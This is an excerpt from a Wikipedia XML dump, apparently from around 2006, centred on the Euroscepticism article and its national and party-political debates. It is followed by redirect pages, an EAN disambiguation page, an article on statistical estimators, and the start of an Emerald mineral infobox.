'''Euroscepticism''' is [[skepticism|scepticism]] about, or disagreement with, existing and many proposed future issues concerning the [[European Union]], sometimes coupled with a wish to preserve national [[sovereignty]] as opposed to a wish to build a federalistic EU-based [[nation state]].

==Eurosceptic influences on European politics==
Euroscepticism is generally stronger in Northern European countries, including member-states [[United Kingdom|UK]], [[Sweden]], and [[Denmark]], all of which have, for example, declined to further their participation in the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]] as much as the other EU member states. Non-members [[Norway]] and [[Iceland]] and (further to the south) [[Switzerland]], especially the German-speaking cantons, have also shown a marked reluctance to expand ties with the EU or accept membership.

According to [http://europa.eu.int/comm/public_opinion/standard_en.htm Eurobarometer] surveys, fewer than 3 in 10 citizens of the UK and Sweden feel their countries have benefited from membership of the EU. Most continental European countries tend to be more pro-European, although eurosceptic movements exist in all European countries in some form. Among the new member states who acceded in 2004, the [[Czech Republic]] is the most eurosceptic.

Euroscepticism is likely to have been a factor (at least in part) of:
*the French and Dutch rejection of the [[European Constitution]] by referenda held in 2005.
*the [[Norway|Norwegian]] rejection of EU membership, on both occasions
*the [[Switzerland|Swiss]] rejection of membership in the [[European Economic Area]]
*the initial [[Denmark|Danish]] rejection of the [[Maastricht Treaty]] (later approved).
*the Danish rejection of the [[euro]]
*the [[Republic of Ireland|Irish]] rejection of the [[Treaty of Nice|Nice Treaty]] in the first referendum (later approved). See [[Treaty of Nice#Ratification Process|Ireland's 'No' Vote]], although it is at present very much a minority view.
*the [[Sweden|Swedish]] rejection of the euro in the [[Referenda in Sweden|national referendum]] on [[September 14]] [[2003]]
*the fact that [[Iceland]] has never applied for membership
*the fact that [[Greenland]] chose not to remain in the EU (then the EEC) when it was granted [[home rule]] by Denmark in [[1979]].
*the [[United Kingdom]]'s unwillingness to be a part of the [[Schengen Treaty]] or the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]].

A noted [[Norway|Norwegian]] eurosceptic during the [[Treaty of Maastricht]] negotiations was [[Anne Enger Lahnstein]], representing [[Senterpartiet]].

==Eurosceptic issues==
[[Image:Eurosceptic2005.jpg|thumb|right|A poster against the European Union, seen in Athens, 2005.]]

The issues on which eurosceptics focus vary from country to country.

In European countries outside the EU, eurosceptics focus attention on the perceived disadvantages of Union membership; for instance, in the case of [[Norway]], the greatest concern is the effect of the EU's [[Common Fisheries Policy]]. In those countries which are already members, but have chosen to retain independent currencies (the [[United Kingdom]], [[Denmark]] and [[Sweden]]), eurosceptics focus on the disadvantages of [[euro]] membership as well as on other aspects of involvement with the EU. Some arguments against the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]] are built on complaints that the [[Growth and Stability Pact]] has been inconsistently applied, and on the recent underperformance of the [[eurozone]] when compared with those economies that have chosen to remain outside.

While many eurosceptics take issue with particular characteristics of the EU as it stands, some maintain in principle that the very concept of the EU is an invention of bureaucrats seeking to create a bureaucratic and undemocratic superstate (or even [[dictatorship]]).

===Centralisation===
Many eurosceptics do not agree with the idea of a centralised European state, a [[United States of Europe]] akin to the [[USA]], which many see as the inevitable outcome of current [[European integration|integrationist]] trends. This is a perception disputed by most, but by no means all, pro-Europeans.

===Compromising sovereignty===
Eurosceptics often disagree with current or proposed measures that they see as compromising national sovereignties, including:
* the proposed [[European Rapid Reaction Force]]
* the draft [[European Constitution]]
* the proposed establishing of a European Public Prosecutor, or the establishing of [[Eurojust]]
* any extension of [[Europol]] to include enforcement powers
* harmonising taxation or welfare benefits
* reduction to the number of policy areas subject to agreement by unanimity in the [[European Council]], where each country may veto proposed legislation.

Eurosceptics often propose either radical modifications to the structure of the EU, including more influence for national parliaments, or the withdrawal of their country from the Union altogether.

===Harmonising of justice and home affairs===
Eurosceptics generally consider the harmonising of criminal justice systems in Europe unnecessary. They dispute pro-Europeans' claims that enhanced judicial co-operation could provide additional protection against terrorists or organised criminal gangs. They believe that moves towards centralised decisions on issues of justice and law are examples of the EU's lack of choice and poor cultural awareness.

While most eurosceptics acknowledge that all current systems of justice in the EU offer adequate protection despite their differences, others, including members of the British Parliament, contend that [[common law]] systems of justice are incompatible with [[civil law (legal system)|civil law]] systems which, according to them, do not provide enough protections with respect to [[presumption of innocence]] and other guarantees. (These guarantees, however, are laid out in the [[European Convention of Human Rights]], which all EU members must sign.)

==Euroscepticism in France==
===1970s===
In [[1978]], [[Jacques Chirac]], a rival of then president [[Valéry Giscard d'Estaing]], published the [[Call of Cochin]] in which he clearly alluded to Giscard's party as the &quot;party of the foreigners&quot;. Giscard is a well-known pro-European.

===Recent events===
On the [[left-wing|left]] of the political spectrum, the ''[[Parti des Travailleurs]]'', [[Jean-Pierre Chevènement]] and the [[French Communist Party]] are eurosceptic. They see the European Union as a means through which unpopular economic measures of [[free market]]s, [[free trade]], the gradual demolition of [[public service]]s and [[Social security]] and increasing [[technocracy]], all of which they see as part of a [[right-wing]] agenda, are imposed on the French public.  The Left is split along similar lines on the topic of the [[Treaty establishing a constitution for Europe|proposed European Constitution]]: the Communist Party, and parts of the [[French Socialist Party|Socialist Party]], oppose the Constitution as carving ''ultra-libéral'' free market policies in stone; but the majority of the Socialist party considers the constitution an improvement, according to an internal vote.

On the [[right-wing|right]], [[Jean-Marie Le Pen]] ([[National Front (France)|Front National]]) and [[Philippe de Villiers]] are eurosceptic. They are against compromising French independence and the possible integration into the European Union of countries that they contend are not European in essence, such as [[Turkey]]. Le Pen is also opposed to the [[Common Agricultural Policy]] and would rather have [[protectionism|protectionist]] measures against imports of foreign agricultural products into France, and other imports as well. While the integration of Turkey is supported by president [[Jacques Chirac]], it is opposed by many, including [[Nicolas Sarkozy]], head of Chirac's supporting party, the [[Union for a Popular Movement|UMP]].

==Euroscepticism in the United Kingdom==
{{mergeto|Euroscepticism in the United Kingdom}}
{{main|Euroscepticism in the United Kingdom}}

The debate around euroscepticism has been a major political issue in the [[United Kingdom]] since the inception of the European Union (then the [[European Economic Community]] or EEC), and has not reduced significantly following UK membership of the Union.

===Eurosceptic views in the UK today===
Many people in Britain feel poorly informed about the European Union. Partly because of this widespread unfamiliarity with the fundamentals of the organisation, there is a wariness of its institutions, processes and policies.

Eurosceptics regard the EU as lacking in democratic process, overburdened with bureaucracy, and threatening to national sovereignty. Most of the UK's mainstream magazines and newspapers, notably a [[tabloid]] press dominated by interests sceptical of the European Union such as those of [[Rupert Murdoch]], carry what some see as partisan coverage of EU laws and policy. Some commentators argue that this coverage contributes greatly to eurosceptic views; others contend that it simply reflect the views of the readership.

British eurosceptics are often against political and bureaucratic centralisation while remaining in favour of other pan-European measures such as a free trade area.

Eurosceptics point out that the EU is frequently good at professing high ideals, but poor at delivering on things.  The failure to make any appreciable progress on the [[Lisbon Strategy]] is cited as one example.

Some British eurosceptics, including [[Member of Parliament|MP]]s, maintain the superiority of British institutions, traditions and methods with respect to those of neighbouring countries, and argue that harmonisation would be culturally insensitive. For instance, with respect to European judicial integration, they claim (controversially) that the [[civil law]] systems found on the Continent do not provide comparable [[presumption of innocence]] and other protections.

Eurosceptics argue that as the fifth largest economy in the world (by nominal GDP, 16.5 % of the European Union, behind Germany and before France) and a permanent member of the [[United Nations]] [[Security Council]], the United Kingdom has very substantial influence. They also observe that there is no simple correlation between the size of a political entity and its success, pointing out that there are several democratic and prosperous small countries, and several unstable, undemocratic or impoverished large ones.

They see the European Union as anachronistic for its attempts to politically and economically unite a whole continent, arguing that the penchant for centralised [[trade bloc|blocs]] is increasingly outdated in a world where [[globalisation]] and [[localism]] are the main competing economic philosophies. Additionally, they claim that most Britons have few cultural or social links with Europe, and feel closer to the spirit of the [[Anglosphere]].

Recent UK polls show that the majority of the British electorate:
* is opposed to UK membership in the [[euro]];
* does not feel well informed about the proposed new [[Treaty establishing a constitution for Europe|European constitution]] (recent polls have suggested a roughly even split on whether to accept or reject it [http://www.euractiv.com/Article?tcmuri=tcm:29-135284-16&amp;type=News]);
* but does not want to leave the EU altogether.

===Eurosceptics in UK political parties===
[[Image:UKIPbeerMat.jpg|right|100px]]

The debate between Eurosceptics and pro-Europeans is ongoing in British political parties whose membership is of varied standpoints. The two main political parties in [[United Kingdom|Britain]], the governing [[The Labour Party (UK)|Labour Party]] and the opposition [[Conservative Party (UK)|Conservative Party]], both have within them a broad spectrum of views concerning the European Union.

In the [[Conservative Party (UK)|Conservative Party]], debate over Europe has been ongoing since the 1970s, sometimes to the detriment of other issues. A particular tipping point for British Conservatism came in the period 1987-1988 when leading Conservatives - including the then Prime Minister Margaret Thatcher - realised that the European question was no longer (if it had ever been) just about an extension of the free market. Thatcher's Bruges speech in September 1988 and the subsequent formation of the [[Bruges Group]] galvanised this emerging opinion. One may argue that a reverse process was happening within the Labour Party during the same period. 

Currently, euroscepticism is a significant current of opinion within the Conservative Party, to an extent perceived to be greater than in any comparably important political party in any other [[EU]] member state (but this is to be expected in a country where a large proportion of the population is eurosceptic). Pro-European elements on the left of the Conservative Party also suffered disproportionately more when marginal constituencies were lost in the 1997 General Elections.

However, many commentators believe over-interest in the issue to be an important reason why the Conservative Party lost the [[United Kingdom general election, 2001|General Election of 2001]]. They argue that the British electorate was more influenced by domestic issues than by European affairs. This is said to be illustrated by the poor performance of the breakaway [[Pro-Euro Conservative Party]] in the [[1999]] [[European Parliament|European elections]], although there is little track record of success generally for breakaway parties in the United Kingdom.

After the electoral defeat of the UK Conservatives in 2001, the issue of eurosceptism was important in the contest to elect a new party leader. The winner, [[Iain Duncan Smith]], was seen as more eurosceptic than his predecessor and concern was expressed that his victory could result in an inflammation of the issue within the party.

As opposition leader, [[Iain Duncan Smith]] attempted to disaffiliate the British Conservative [[Member of the European Parliament|Members of the European Parliament]] from the federalist [[European People's Party]] Group. As MEPs must maintain a pan-European alliance to retain parliamentary privileges, Duncan Smith sought the merger of Conservative MEPs into the eurosceptic [[Union for a Europe of Nations|Union for a Europe of Nations (UEN)]] group. [[Conservative Party (UK)|Conservative]] MEPs vetoed this move because of the presence within the [[Union for a Europe of Nations|UEN]] of representatives of [[neo-fascist]] parties who do not share similar domestic politics. In 2004, Duncan Smith's successor, [[Michael Howard]], emphasised that Conservative MEPs would remain in the EPP Group so as to maintain influence in the [[European Parliament]]. However Michael Howard's successor, [[David Cameron]], has pledged to withdraw Conservative MEPs from the EPP Group as soon as possible.

The governing [[The Labour Party (UK)|Labour Party]] is also split into eurosceptic and pro-European factions. Historically, the party tended towards euroscepticism, indeed the 1975 Labour Conference voted to leave the EEC ([[Tony Benn]] was the leading Labour anti-common market politician at the time and remains an important left-wing EU-critic). But today under Prime Minister [[Tony Blair]] its policies are generally [[pro-European]]. However, a significant minority of Labour MPs have formed the [[Labour Against the Euro]] group, opposing British membership of the single currency. The group has support from minority parts of the [[Trade Union]] movement, while the majority of trade unions remain staunchly pro-European.

The UK's third-largest parliamentary party, the [[Liberal Democrats (UK)|Liberal Democrats]], is strongly pro-European.

The [[United Kingdom Independence Party]], which advocates the UK's complete withdrawal from the European Union, received 16% of the vote and gained 12 MEPs in the [[European Parliament election, 2004|2004 European Election]]. The party was subsequently weakened by a leadership struggle and the defection of prominent member [[Robert Kilroy-Silk]]. In the following [[United Kingdom general election, 2005|General Election of 2005]] neither UKIP nor Kilroy-Silk's new [[Veritas (political party)|Veritas]] party succeeded in gaining a substantial percentage of the vote, or any seats in parliament.

The [[Scottish National Party]] has tended to be Europhile since the 1980s, however, for some the example of [[Norway]] has encouraged a Eurosceptic Scottish independence movement. This has found some separate expression in the [[Free Scotland Party]], founded by a formerly prominent member of the SNP, [[Brian Nugent]]. As the SNP's heartlands tend to be in fishing and farming areas of Scotland, they have been seen as a real threat to the Europhile SNP. However, this has not yet emerged. Polls show a significant amount of Euroscepticism in Scotland, but neither UKIP nor the Conservatives are very powerful there.

===Eurosceptic British press===
In the [[United Kingdom|UK]], many newspapers, notably the ''[[Daily Mail]]'' and the [[Rupert Murdoch]] newspapers (''[[The Sun (newspaper)|The Sun]]'', the ''[[News of the World]]'', ''[[The Times]]'' and ''[[The Sunday Times]]''), are eurosceptic along with the broadsheet ''[[Daily Telegraph]]'' and ''[[Sunday Telegraph]]'', and have published many stories highly critical of the European Union and its policies. The accuracy or otherwise of these stories is hotly disputed, and in some cases the actions of international bodies with no connection to the EU have been attributed to it. Examples include headlines such as &quot;Ludicrous EU officials ready to ban yogurt&quot;, The Daily Telegraph, [[10 November]] [[2003]], where there were simply proposals on standard labelling and these proposals were initiated by the UK government, and reports in several UK papers in March 2000 that the EU planed to 'reduce' UK condoms to European sizes, when it was in fact the European Standardisation Committee (CEN) which proposed labelling changes, an organisation with no connection to the EU.
In response, the [[European Commission]] has created a website dedicated to explaining its point of view. [http://www.cec.org.uk/press/myths/index.htm]

Pro-Europeans allege that some coverage of the European Union by UK [[tabloid]]s is [[xenophobia|xenophobic]], particularly through what they sometimes regard as conscious attempts to influence British politics by denigrating foreign countries (Such as [[Daily Express]]'s article about renaming Waterloo Station in [[London]], as it could offend the French [http://www.cec.org.uk/press/myths/myth127.htm]}. Many eurosceptics reject this allegation as a slur. [[Tony Blair]], the British Prime Minister recently said to Jose Manuell Barosso &quot;See what I have to put up with?&quot; regarding the British Press' unfavourable cover of the EU Budget 2007-2013.

The daily newspaper of the hard-left, [[The Morning Star]] (connected to the [[Communist Party of Britain]]) takes a internationalist, democratic and Marxist eurosceptic position.

==Euroscepticism in Denmark==
Most of the Danish population is relatively enthusiastic about European initiatives of an economic nature, such as a free trade zone, but much less so about social policy. Enthusiasm for the project has declined slightly since the 1970s when Denmark first joined. 

Worries in Denmark generally concentrate on the possible erosion of the Danish social safety net under EU guidance, and perhaps more importantly, the subversion of Danish identity in a large community of powerful nations. Danish nationalism, since the late 19th century has focused on the specialness of Denmark's &quot;smallness&quot; and the value of local customs and traditions. The notion of a powerful, centralised EU runs counter to this now entrenched and powerful sense of national identity. 

Despite the influence of big business, which is generally europhile, Denmark has resisted inclusion in the euro.

== Euroscepticism in Central and Eastern Europe ==
[[Image:European Union sign 2003.jpeg|thumb|right|A vandalized EU sign in Poland, seen 2003.]]
One common argument raised by eurosceptics in the new EU member states from [[Central Europe]] is that the European Union's [[bureaucracy]] and perceived [[socialism|socialist]] tendencies may be sustainable for mature [[Western Europe]]an economies, but will bring the still fragile post-[[communist]] economies to a grinding halt. These viewpoints have often been encouraged when governments tried to excuse increases to the [[fiscal]] burden as harmonizing law with EU requirements, even when those laws had not been introduced for old EU member countries. Pro-Europeans argue the increased regulatory burden is feasible through post-accession increased economic growth, and that now inside the EU they will be able to help reform it.

Other issues include the need for new entrants to initiate EU-level border controls with non-accession neighbours. This has a big impact on the [[Poland|Poland's]] border with [[Ukraine]]. The introduction of the EU's visa regime has often greatly reduced cross-border trade with these neighbours, thus bankrupting many small family business in one of the poorest regions of Poland. Some consider Poland's joining the EU to be an act of disloyalty towards Ukraine, ultimately pushing it further into the [[Russia|Russian]] sphere of influence. Many economists believe that, on a country wide level, these disadvantages will eventually be offset by the freedom to travel and do business across the EU, though the benefits may be distributed unequally.

The [[Czech Republic|Czech]] president [[Václav Klaus]] is Central Europe's most outspoken eurosceptic or, more precisely, a self-described [[eurorealist]]. He believes that [[democracy]] cannot work at a supernational level. He has warned Europe of &quot;dream world&quot; woes:

&lt;blockquote&gt;The enemies of free societies today are those who want to burden us down again with layer upon layer of regulations. We had that in [[communist]] times. But now if you look at all the new rules and regulations of [[European Union|EU]] membership, layered bureaucracy is staging a comeback.&lt;/blockquote&gt;

Other criticisms of the European Union are related to its inability to prevent the recent increase in ethnic nationalism across Eastern Europe; the example of [[Kosovo]] is often cited. The EU is sometimes accused of trying to impose models that worked in the Western European countries without any regard for the different reality of Eastern European life, and it is claimed that this approach produces more problems than it solves.

Some Romanians, Slovaks and Croatians claim that the [[irredentism]] of Hungary has found a new platform built by the European Union in Eastern Europe. Alleged irredentist Hungarian politicians (among them [[Viktor Orbán]], ex-prime-minister) are claimed to be helped by European regulations in involving themselves in the internal affairs of neighbouring countries. The main practice denounced is that Hungary is trying use the legitimate concept of ethnic minority rights in order to promote various forms (mostly subtle) of [[revanchism]] in the region. The claim is supported by Hungary's amending the status law trying to redefine the idea of nation and extending special economic, social and cultural benefits to ethnic Hungarians in neighbouring states (Romania, Slovakia, Croatia and Ukraine), who had objected to the law in 2001. The European Commission for Democracy through Law (Venice Commission), a body of the [[Council of Europe]], was called in by Romania and criticised the Hungarian initiative. However, this did not stop Hungary from pursuing its intentions which, in the opinion of affected Eastern Europeans, is another proof of Europe's inability to handle the ethnic nationalism in Eastern Europe.

== Eurosceptics in the European Parliament ==
In [[2004]], 37 [[Member of the European Parliament|MEP]]s from the [[United Kingdom|UK]], [[Poland]], [[Denmark]] and [[Sweden]] founded a new [[European Parliament]] group called ''[[Independence and Democracy]]'' from the old [[Europe of Democracies and Diversities|EDD]] group. The main goals of this group are to reject the [[Treaty establishing a constitution for Europe]] and to oppose further [[European integration]]. Some delegations within the group, notably the [[United Kingdom Independence Party]], advocate the complete withdrawal of their country from the EU.

The group's leaders are [[Nigel Farage]] of UKIP (10 MEPs), [[Jens Peter Bonde]] of Denmark, and [[Maciej Giertych]] of the [[League of Polish Families|League of Polish Families (Liga Polskich Rodzin, LPR)]] (10 MEPs).

The right-wing [[Union for Europe of the Nations]] Group is also eurosceptic as are some parties within the left-wing Confederal Group of the [[European United Left - Nordic Green Left]] and the [[European Greens - European Free Alliance]]. The UK's largely eurosceptic [[Conservative Party]] are part of the [[European People's Party and European Democrats]] which has mainly a euro-federalist agenda.

==Terminology==
The appropriate use of the term ''eurosceptic'' is sometimes disputed by those on both sides of the pro-/anti-EU debate. Eurosceptics who feel that their position should emphasise a desire for greater national and parliamentary independence over specific criticisms of the EU sometimes argue that the positive-sounding antonym ''pro-European'' contrasts with the more negative ''eurosceptic'', giving a rhetorical advantage to those who advocate European integration.

In order to avoid this, ''euro-realist'' has been coined as an alternative. However, in recent years this term has sometimes come to denote a milder form of euroscepticism, according to which it is not necessarily in countries' interests to withdraw from the EU or disband it completely, but rather to modify its structure to some extent.

Other synonyms that are sometimes encountered include ''euro-critic'' and the much more pejorative ''europhobe''. The simple adjective ''anti-EU'' can also be used.

Many eurosceptics dissaprove of the term pro-Europeans to denote their opponents. They maintain that their pro-democracy ideology is more 'pro-Europe' than the federalist position. They prefer to call their opponents 'europhiles' or euro-fantics and their philosophy as pro-EU, federalist, integrationist or euro-centralist.

It should be noted that there are at least two types of eurosceptic. These are the 'withdrawalists' who advocate leaving the EU and the 'reformists' who wish the EU to be wholly transformed. Both of these types of eurosceptic may be found on the right and left of the political spectrum. A third type of eurosceptic would be those that want the EU to be dismantled and replaced by new geo-political arrangements.

==Criticism of the European Union by non-Europeans==
As the [[Treaty establishing a Constitution for Europe]] declares the [[Falkland Islands]] and [[South Georgia and the South Sandwich Islands]] to belong to the [[British overseas territory]] the [[Argentina|Argentinian]] parliament adopted a resolution declining the treaty{{citationneeded}}. The [[Rio Group]] supports the Argentinian resolution.

==Defence of Euroscepticism==

Many holding eurosceptic views would say that they are not &quot;anti-Europe&quot; or &quot;anti-EU&quot; [[per se]], but that they take a more practical, realistic and objective view of the purposes of the EU and the lengths to which they feel they and their EU member state should be involved.   Holders of so-called &quot;pro-European&quot; views are frequently viewed by eurosceptics as being too idealistic, academic and theoretical in their ideas of what is desirable and practical with regards to cooperation amongst nation states.  A more extreme view occasionally expressed against &quot;pro-European&quot; politicians is that they are playing a game to get their name into history books: it is more statesmanlike to &quot;build a European nation&quot; than not to, but the reality (so such eurosceptic views hold) is that they are effecting change for changes sake and not for any purpose of furthering the common good and/or doing what electorates want.

== See also ==
* [[Europatriotism]]

==External links==
The debate on the political future (and present) of Europe is extremely passionate. 

===Studies of public opinion===
*[http://europa.eu.int/comm/publications/booklets/eu_documentation/05/txt_en.htm Euroscepticism statistics from the European Commission]
*[http://www.intstudies.cam.ac.uk/people/students/info/hobolt_paper.pdf Europe and the Ballot:Voting Behaviour in Referendums on European Integration]
===Eurosceptic sites===
*[http://www.democracymovement.org.uk The Democracy Movement]
*[http://www.democracyineurope.com Democracy in Europe]
*[http://www.sovereignty.org.uk Sovereignty]
*[http://www.e-f.org.uk The European Foundation]
*[http://www.euro-skeptic.org/ Euro-skeptic Web Resource]
*[http://www.independenceuk.org.uk UK Independence Party]
*[http://www.bullen.demon.co.uk/acml1.htm Anti-Common Market League]
*[http://www.silentmajority.co.uk/eurorealist/ Eurorealist]
*[http://www.brugesgroup.com/ Bruges Group]

===Specific criticisms of the EU===
*[http://www.thirdway.org/files/reviews/eurorasp.html Criticism of EU 'propaganda']
*[http://www.eubusiness.com/imported/2003/04/106910 Problems with CAP]

===Euroscepticism rebuttals===
*[http://www.cec.org.uk/press/myths/index.htm The European Commission's Press Office in London]
*[http://europa.eu.int/abc/index_en.htm Benefits of European Union membership]

===Other useful sites===
*[http://news.bbc.co.uk/hi/english/static/in_depth/uk/2001/uk_and_europe/default.stm BBC NEWS Ever closer union? The UK and Europe]
*[http://www.findarticles.com/p/articles/mi_m0FQP/is_4618_131/ai_95688577 New Statesman essay on the sources of British euroscepticism]
*[http://www.alba.org.uk/referenda/eecref.html Outcome of the 1975 referendum in Scotland and the rest of the UK]


[[Category:European Union]]
[[Category:Euroscepticism|*]]
[[Category:Foreign relations of the United Kingdom]]
[[Category:Political neologisms]]

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[[sv:Euroskepticism]]</text>
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  <page>
    <title>Ermeland</title>
    <id>10038</id>
    <revision>
      <id>15907881</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Warmia]]
</text>
    </revision>
  </page>
  <page>
    <title>Ermland</title>
    <id>10039</id>
    <revision>
      <id>15907882</id>
      <timestamp>2002-08-06T08:53:23Z</timestamp>
      <contributor>
        <username>JHK</username>
        <id>29</id>
      </contributor>
      <comment>oops -- it is Warmia</comment>
      <text xml:space="preserve">#REDIRECT [[Warmia]]</text>
    </revision>
  </page>
  <page>
    <title>European Article Numbering</title>
    <id>10041</id>
    <revision>
      <id>35246742</id>
      <timestamp>2006-01-15T07:24:29Z</timestamp>
      <contributor>
        <username>JT GS1US</username>
        <id>791364</id>
      </contributor>
      <text xml:space="preserve">#redirect [[European Article Number]]</text>
    </revision>
  </page>
  <page>
    <title>EAN</title>
    <id>10042</id>
    <revision>
      <id>38280214</id>
      <timestamp>2006-02-05T07:44:22Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">'''EAN''' may refer to:

* [[European Article Number]], see [[Global Trade Item Number]] 
* [[EAN International]], see [[GS1]] 
* [[European Access Network]]

{{disambig}}
[[fr:EAN]]</text>
    </revision>
  </page>
  <page>
    <title>Estimator</title>
    <id>10043</id>
    <revision>
      <id>38327886</id>
      <timestamp>2006-02-05T17:00:24Z</timestamp>
      <contributor>
        <username>Mathbot</username>
        <id>234358</id>
      </contributor>
      <comment>Robot-assisted spelling. See [[User:Mathbot/Logged misspellings]] for changes.</comment>
      <text xml:space="preserve">{{merge|estimation theory}}

In [[statistics]], an '''estimator''' is a [[function (mathematics)|function]] of the known sample data that is used to estimate an unknown population [[parameter]]; an ''estimate'' is the result from the actual application of the function to a particular [[set]] of data. Many different estimators are possible for any given parameter. Some criterion is used to choose between the estimators, although it is often the case that a criterion cannot be used to clearly pick one estimator over another.
To estimate a parameter of interest (e.g., a population mean, a binomial proportion, a difference between two population means, or a ratio of two population standard deviation), the usual procedure is as follows:

'''1- '''Select a random sample from the population of interest.

'''2- '''Calculate the point estimate of the parameter.

'''3- '''Calculate a measure of its variability, often a [[confidence interval]].

'''4- '''Associate with this estimate a measure of variability.

There are two types of estimators: [[point estimator]]s and [[interval estimator]]s.

== Point estimators ==

For a point estimator &lt;math&gt;\widehat{\theta}&lt;/math&gt; of parameter &lt;math&gt;\theta&lt;/math&gt;,

# The ''[[errors and residuals in statistics|error]]'' of &lt;math&gt;\widehat{\theta}&lt;/math&gt; is &lt;math&gt;\widehat{\theta} - \theta&lt;/math&gt;
# The ''[[bias (statistics)|bias]]'' of &lt;math&gt;\widehat{\theta}&lt;/math&gt; is defined as &lt;math&gt;B(\widehat{\theta}) = \operatorname{E}(\widehat{\theta}) - \theta.&lt;/math&gt;
# &lt;math&gt;\widehat{\theta}&lt;/math&gt; is an ''[[bias (statistics)|unbiased estimator]]'' of &amp;theta; [[iff]] &lt;math&gt;B(\widehat{\theta}) = 0&lt;/math&gt; for all &amp;theta;, or, equivalently, iff &lt;math&gt;\operatorname{E}(\widehat{\theta}) = \theta&lt;/math&gt; for all &amp;theta;.
# The ''mean squared error'' of &lt;math&gt;\widehat{\theta}&lt;/math&gt; is defined as &lt;math&gt;\operatorname{MSE}(\widehat{\theta}) = \operatorname{E}[(\widehat{\theta} - \theta)^2].&lt;/math&gt;
# &lt;math&gt;\operatorname{MSE}(\widehat{\theta}) = \operatorname{var}(\widehat\theta) + (B(\widehat{\theta}))^2,&lt;/math&gt;

:i.e.  mean squared error = variance + square of bias.

where var(''X'') is the [[variance]] of ''X'' and E(''X'') is the [[expected value]] of ''X''.

The [[standard deviation]] of an estimator of &amp;theta; (the [[square root]] of the variance), or an estimate of the standard deviation of an estimator of &amp;theta;, is called the ''[[Standard error (statistics)|standard error]]'' of &amp;theta;.

==Consistency==
A '''consistent estimator''' is an estimator that [[convergence in probability|converges in probability]] to the quantity being estimated as the sample size grows.

An estimator &lt;math&gt;t_n&lt;/math&gt; (where ''n'' is the sample size) is a consistent estimator for [[parameter]] &lt;math&gt;\theta&lt;/math&gt; if and only if, for all &lt;math&gt;\epsilon &gt; 0&lt;/math&gt;, no matter how small, we have

:&lt;math&gt;
\lim_{n\to\infty}{\rm Prob}\left\{
\left|
t_n-\theta\right|&lt;\epsilon
\right\}=1.
&lt;/math&gt;

It is called ''strongly consistent'', if it [[Convergence_in_probability#Almost_sure_convergence|converges almost surely]] to the true value.

==Efficiency==

The quality of an estimator is generally judged by its [[mean squared error]].

However, occasionally one chooses the unbiased estimator with the lowest variance.
[[efficiency (statistics)|Efficient estimators]] are those that have the [[Cramer-Rao inequality|lowest possible variance among all unbiased estimators]].  In some cases, a biased estimator may have a uniformly smaller mean squared error than does any unbiased estimator, so one should not make too much of this concept.  For that and other reasons, it is sometimes preferable not to limit oneself to unbiased estimators; see [[bias (statistics)]].  Concerning such &quot;best unbiased estimators&quot;, see also [[Cramér-Rao inequality]], [[Gauss-Markov theorem]], [[Lehmann-Scheffé theorem]], [[Rao-Blackwell theorem]].

==Other properties==
Often, estimator are due to restrictions (''restricted estimators'').

==See also==
* [[Maximum likelihood]]
* [[Method of moments]], [[generalized method of moments]]
* [[Cramér-Rao inequality]]
* [[Minimum mean squared error]] (MMSE)
* [[Maximum a posteriori]] (MAP)
* [[Minimum variance unbiased estimator]] (MVUE)
* [[Best linear unbiased estimator]] (BLUE)
* Unbiased estimators &amp;mdash; see [[bias (statistics)]].
* [[Particle filter]]
* [[Markov chain Monte Carlo]] (MCMC)
* [[Kalman filter]]
* [[Wiener filter]]

== External links ==
*[http://www.ds.unifi.it/VL/VL_EN/point/point1.html A maths course on estimators]

[[Category: Statistics]]

[[de:Schätzer]]
[[pl:Estymator]]</text>
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  </page>
  <page>
    <title>Emerald</title>
    <id>10045</id>
    <revision>
      <id>41990343</id>
      <timestamp>2006-03-03T02:01:21Z</timestamp>
      <contributor>
        <username>PunkPuke</username>
        <id>215705</id>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
{| border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; cellpadding=&quot;0&quot; width=&quot;300&quot; valign=&quot;top&quot; style=&quot;margin-left:1em&quot;
|-  
!colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;green&quot;| Emerald
|- 
!colspan=&quot;2&quot; align=&quot;center&quot;|&lt;br/&gt;[[Image:emerald_rough_300x422.jpg|200px|center|Emerald with inclusions]]&lt;br/&gt;&lt;small&gt;Emerald with inclusions&lt;/small&gt;
|-
!colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;green&quot;|General
|-
|Category||[[Mineral]]
|-
|[[Chemical formula]]|| [[Beryllium]] [[aluminium]] [[silicate]] with [[chromium]], Be&lt;sub&gt;3&lt;/sub&gt;Al&lt;sub&gt;2&lt;/sub&gt;(SiO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;6&lt;/sub&gt;::Cr
|- 
!colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;green&quot;|Identification
|-
| Color || Green
|-
| [[Crystal habit]] || Hexagonal Crystals
|-
| [[Crystal structure|Crystal system]] || Hexagonal
|-
| [[Cleavage (crystal)|Cleavage]]|| Poor Basal Cleavage (Seldom Visible)
|-
| [[Fracture]]|| Conchoidal
|-
| [[Mohs Scale]] hardness || 7.5 - 8.0
|-
| Luster|| Vitreous
|-
| [[Refractive index]]|| 1.576 - 1.582
|- 
| [[Pleochroism]]|| Distinct, Blue-Green/Yellow-Green
|- 
| [[Streak]]|| White
|-
| [[Specific gravity]]|| 2.70 - 2.78
|-
|}

